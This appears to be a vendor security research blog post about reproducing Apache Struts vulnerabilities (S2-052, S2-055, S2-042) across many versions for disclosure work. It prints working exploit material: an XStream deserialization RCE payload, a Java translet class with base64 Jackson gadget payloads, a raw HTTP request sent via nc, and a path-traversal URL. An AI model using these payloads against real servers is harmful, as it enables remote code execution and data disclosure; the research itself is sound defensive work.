In August 2019, the Black Duck Cybersecurity Research Center (CyRC) coordinated with the Apache Software Foundation to publish Apache Struts Security Advisory S2-058. The advisory represents research undertaken in Belfast that focused on 64 vulnerabilities through 115 versions of Struts, identifying roughly 50 affected versions per vulnerability. We wanted to share our experiences in a series of blog posts.
This blog series is for a technical audience. It discusses insights, problems we encountered, and solutions we came up with during the project:
This is the third post in the series. We recommend starting from the first post if you haven’t had a chance.
During August 2018, we examined a newly released Apache Struts remote code execution vulnerability (CVE-2018-11776 / S2-057). Through creating our own proof-of-concept and testing it against Apache Struts’ past releases, we discovered that the vulnerability affected more versions than were initially reported. We reported these findings in accordance with our responsible disclosure policy. But our discovery also prompted the question, what about all the previous Apache Struts vulnerabilities? We set out to create a system where we could conduct vulnerability research at scale.
The first step in reproducing vulnerabilities is generally to follow the instructions provided in an advisory. However, as is common in security advisories, a large chunk of the Apache Struts advisory at the time didn’t include reproduction information, much less information on what steps to take to make use of a proof-of-concept (POC). Advisories that do include reproduction information often don’t have it in full. When we started our analysis, we discovered that only 25 vulnerabilities out of 57 total vulnerabilities we analyzed had some reproduction information online, much of which did not function for our team.
Security Bulletin |
POC |
Security Bulletin |
POC |
Security Bulletin |
POC |
None |
None |
None |
|||
Found |
None |
None |
|||
Found |
None |
None |
|||
Found |
None |
None |
|||
Found |
None |
None |
|||
Found |
None |
None |
|||
Found |
None |
Found |
|||
Found |
None |
Found |
|||
Found |
None |
None |
|||
None |
None |
Found |
|||
None |
None |
None |
|||
Found |
None |
None |
|||
Found |
Found |
None |
|||
Found |
Found |
Found |
|||
Found |
None |
Found |
|||
Found |
None |
None |
|||
Found |
None |
Found |
|||
None |
Found |
Found |
|||
None |
None |
Found |
To provide a modern example, rather than unfairly choose examples from when Struts initially came out (over a decade ago), we found a POC for S2-052, a remote code execution vulnerability, that made use of the Metasploit tooling available online.
In our attempts to reproduce this vulnerability using the POC, we discovered that the exploit was functional only in Java 8. At first glance, it appeared that the vulnerability existed only within a specific Java runtime release. However, when we inspected the payload and responses from other versions, it became apparent that the vulnerability likely still existed but that we’d have to tweak the payload between different Java Runtime Environment versions.
Example payload for S2-052 |
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/usr/bin/touch</string> <string>/tmp/exploited</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> |
This was a misleading situation. Someone who used tools and pre-crafted payloads, rather than creating their own, to validate the existence of a vulnerability would quickly deduce that their system was not vulnerable. An insufficient understanding of how a payload and vulnerability work would lead to a false sense of security and erroneous conclusions. Further, many in the industry prefer not to assess whether older versions of software are vulnerable; they just assume for the sake of reporting that all previous versions are vulnerable. The vulnerability feed produced in the Black Duck SCA tooling, by contrast, is the result of efforts to identify which versions are vulnerable rather than making those assumptions.
As mentioned in our execution environments post, we discovered that certain software changes the behavior or even sanitizes requests before they hit the affected component. Many older Apache Struts vulnerabilities are filtered out through Tomcat 8, as it introduces features such as URL sanitization, which required us to test with older versions of Tomcat, such as version 6, that don’t have this functionality. Further, we noticed a different set of behaviors when running Tomcat through Eclipse: The Eclipse debugging environment introduced different base libraries that affected the outcome of our testing, typically making vulnerabilities nonreproducible.
Despite the existence of the POCs, we rewrote them from scratch for a few reasons. One was to gain a better insight into exactly what the payload was doing. As mentioned before, if you don’t quite understand what the payload is doing, then you’re going to come to false conclusions. We further enhanced the POCs with knowledge we’ve gleaned from other issues and from creating other POCs. Most POCs in the industry are designed only to operate against a single branch version release of a given piece of software, but we wanted to test our POCs across all versions with a variety of environmental configurations. Existing POCs aren’t flexible enough for that. Finally, we wanted close integration with our automated test suites for testing at scale.
Some of the exploits required we flip specific switches in the Struts core, compile certain options in a particular way, or use distinct vulnerable code that did not exist in the Struts example .war files. Our preference was Showcase, which demonstrates various functionalities of Struts. This is where functionality discussed in our first blog post regarding the build system came into play and helped automate a significant portion of these situations.
There were also some outlier situations where we couldn’t build some version of Struts in the required way or the build system was not very happy about certain changes. As we had access to built .war files in such cases, we were able to repackage these files programmatically with additional pre-built classes. By happy coincidence, this turned out to be a very fast way to deploy code changes across many versions for rapid testing. We also encountered situations where we needed to modify these files to toggle settings to verify exploits, also commonly using the “blank” .war file, which by design included the Struts core but did not feature any functional code to make use of it. The blank file is commonly used to verify that the environment and build of Struts together are sane, so there was very little other code that could potentially interfere with these injections.
We also had to deal with situations where POCs for subcomponents in Struts existed but there was no clear path for exploitation when they were consumed by Struts. One example of this is S2-055, a remote code execution vulnerability by which it is reportedly possible to pass a potentially harmful payload that could result in RCE if Apache Struts is configured/compiled to use the Jackson FasterXML component.
In our build system, we ensured that every version of Struts containing Jackson FasterXML defaulted to it (quite a few versions did not). We used a variety of payloads to validate the exploitability of Struts using the Struts REST plugin Showcase.
To produce the payload, we first needed to prepare some code that would execute the vulnerability.
Exploit.java |
import java.io.*; import java.net.*; @SuppressWarnings("restriction") public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { public Exploit() throws Exception { StringBuilder result = new StringBuilder(); URL url = new URL(http://localhost:4444/); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = rd.readLine()) != null) { result.append(line); } rd.close(); } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) { } } |
We compiled Exploit.java using javac and converted this into a base-64 string, which we’ll refer to as bytecode data in the examples here. Doing these conversions is relatively simple in Linux environments:
cat Exploit.class | base64 -w 0
Once the bytecode payload was assembled, it was just a matter of wrapping it into our HTTP payloads. We used a variety of payloads to deal with variances in different environments:
Payload #1 |
{'id': 124, 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', { 'transletBytecodes' : [ 'bytecode data' ], 'transletName' : 'a.b', 'outputProperties' : { } } ] } |
Payload #2 |
false{'id': 124, 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl', { 'transletBytecodes' : [ 'bytecode data' ], 'transletName' : 'a.b', 'outputProperties' : { } } ] |
Payload #3 |
[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": ["bytecode data"], "transletName": "a.b", "outputProperties": { } } ] |
Payload #4 |
[ "java.lang.void" ] |
We used some of these payloads in example applications directly with Jackson FasterXML to verify their validity, switching the options indicated. However, it very quickly became apparent that directly exploiting this vulnerability required mapper.enableDefaultTyping to be enabled in the component. Not only is this option not enabled in Apache Struts, but we couldn’t identify any Struts API call to make from within the Struts application to flip this option. For this vulnerability to be exploitable, an application developer would have to maintain their own fork of Struts with this option specified, which seems unlikely in today’s common Java development practices.
Regardless, we tested with this option disabled initially by sending our payloads to the rest-showcase example application. We’d had some success in getting payloads to execute in the rest-showcase application for S2-051 when using the XStream component. In the example payload transmitted below (not how we test at scale, but rather a simplified example), we use localhost 8080 for our web application server and place our payload into payload.json.
~ |
echo 'GET /struts2-rest-showcase/orders/3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Referer: '$1'/struts2-rest-showcase/orders.xhtml Connection: close Content-Type: application/json Content-Length: '$(cat payload.json |wc -c)' Pragma: no-cache Cache-Control: no-cache '"$(cat payload.json)"| nc -v 127.0.0.1 8080 |
We determined that while some of these payloads are demonstrable directly with the Jackson library, it’s possible to replicate these directly only by explicitly enabling polymorphic type handling. The Struts implementation doesn’t enable this option by default, and we didn’t see an option to enable it through the Struts framework. Despite this, testing against known vulnerable versions (which required changing the default handler to Jackson FasterXML) did not expose a vulnerability that we could replicate using the above payloads.
When this vulnerability was first reported, it was implied to be a definite vulnerability. In such situations, it’s relatively easy for researchers to keep going down rabbit holes to reproduce a vulnerability that doesn’t actually exist in the solution. The likelihood of genuine Struts application developers running into this vulnerability is extremely low. Static analysis tools such as Coverity can help in situations like this, as you can use custom checkers to identify whether these vulnerabilities lie in your code paths.
Thus far, we’ve discussed existing working POCs. However, the majority of POCs simply didn’t function, if they existed at all. So we had to reverse-engineer vulnerabilities using the available information. This often required a mixture of inspecting the Apache Struts source code differences between versions to identify what the fixed code looked like, using the advisory as a guide to find the location, then further attempting to reproduce the vulnerability.
The original advisory for S2-042 provides a simple description of the vulnerability and not much more:
Original advisory
When we looked at the Convention plugin, we discovered that it provides a variety of overrides for action names, interceptors, namespace, and XWork. It establishes a variety of conventions, such as package naming, URL naming, default action, result handling, and namespaces. It also contains features for search engine optimization (SEO).
We took a manual approach, looking at the source code differences between versions, to identify the affected code in the Convention plugin. There we found the 2.3 source changes and 2.5 source changes for the fix, where the code is tightened around path handling when the findResult method is called. This kind of analysis, of course, would be much slower on closed source products. Open source allows us to identify vulnerabilities, analyze them, and find solutions or workarounds faster.
We also confirmed that the Convention plugin has been bundled with Struts since the 2.1 release, replacing the Codebehind plugin and Zero Config plugin. The Convention plugin typically requires no configuration and is enabled by default. Many of its conventions are controlled using configuration properties in struts.xml.
Following the method calls, we discovered in the sources revealed that a specially crafted request would allow the reading of arbitrary pages. We further deduced this would be a page configured under struts.convention.result.path, leading to path traversal and disclosure of sensitive content. This normally defaults to the WEB-INF path. However, none of the functionality used in the default included .war files for Struts supports this functionality out of the box. So we set out to customize Showcase to showcase this functionality. We created a class called GoAction and compiled it against a single Struts version.
GoAction.java |
WEB-INF/classes/org/apache/struts2/showcase/person/GoAction.class |
package org.apache.struts2.showcase.person; import com.opensymphony.xwork2.ActionSupport; public class GoAction extends ActionSupport { private String go; public String execute(){ return go; } public String getGo() { return go; } public void setGo(String go) { this.go = go; } } |
At this point, we used our build system to inject the produced class into our other Apache Struts Showcase versions without the need to recompile each version. This was an effective way to test or modify the vulnerable code across different versions rapidly. Using the existing Showcase webapps, we also took advantage of the existing files inside the .war file to expose the vulnerability, aiming particularly at the help.jsp file.
Directory tree: /WEB-INF/ |
WEB-INF/ ├── help.jsp ├── person │ ├── edit-person.jsp │ ├── list-people.ftl │ └── new-person.ftl |
Then we created the payload, which was as simple as specifying the go parameter as we used in our vulnerable component code above:
http://localhost:8080/struts2-showcase/person/go?go=../help
We managed to reproduce the vulnerability against a known vulnerable version and see the help.jsp page.
Payload success, returning help.jsp through path traversal
Testing the same payload against a nonvulnerable version produced an uglier message, but it wasn’t vulnerable to the path traversal issue. (For those who have a keen eye, we also verified that the error message wasn’t vulnerable to XSS.)
Payload failure
With further reading of the sources and testing, we determined that the Convention plugin limits the result file types to jspx, jsp, jspf, vm, html, htm, and ftl, which in turn limits the impact of this vulnerability. The results of this work showed that the path traversal vulnerability was fixed in 2.3.31 and 2.5.3. Testing showed the affected version ranges are 2.3.1–2.3.30 and 2.5.BETA1–2.5.2. This extends the affected version range for the 2.3 branch listed in the original security bulletin and adds a new vulnerable range for the 2.5 branch. We’ll talk more about version validations in our upcoming Part 4 post.
There is Russian proverb, “Trust, but verify” (doveryai, no proveryai). Most of the work discussed in this blog post is a practice of this proverb: validating existing POCs, creating our own exploit payloads, tracing how, where, and when fixes were introduced, verifying vulnerabilities against different version releases regardless of the results of source analysis, even verifying the potential for new unseen vulnerabilities that we noticed through our work.